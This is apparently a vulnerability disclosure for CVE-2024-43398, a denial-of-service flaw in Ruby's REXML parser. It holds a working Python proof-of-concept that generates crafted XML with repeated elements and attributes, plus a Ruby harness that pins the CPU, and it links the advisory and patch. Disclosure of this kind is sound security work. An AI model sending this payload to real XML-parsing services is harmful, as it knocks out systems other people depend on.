CVE-2024-43398: DoS vulnerability in REXML

How it was found

This is a vulnerability due to poor performance when parsing specially crafted xml with REXML.

Here is the exploit script in python:

start = ""
middle = "<a xml:b=\"\" b=\"\">" + "<D>" * 1
end = ""
print(start)
COUNT = 2000
for _ in range(COUNT):
	print(middle)
print(end)

redirect this to a file and then pass this file to the stdin of the following ruby program:

require 'rexml/document'

include REXML

puts "Reading input from stdin..."
input = ARGF.read
puts "Parsing input..."
REXML::Document.new input
puts "Done!"

on the vulnerable version of rexml, this program takes a very long time to exit and the CPU usage jumps to 100% when parsing the document.

Here is a link to ruby-lang.com where this vulnerability is documented: https://www.ruby-lang.org/en/news/2024/08/22/dos-rexml-cve-2024-43398/ and here is a link to the patch on github: https://github.com/ruby/rexml/commit/7cb5eaeb221c322b9912f724183294d8ce96bae3

Impact

DOS via uncontrolled resource consumption.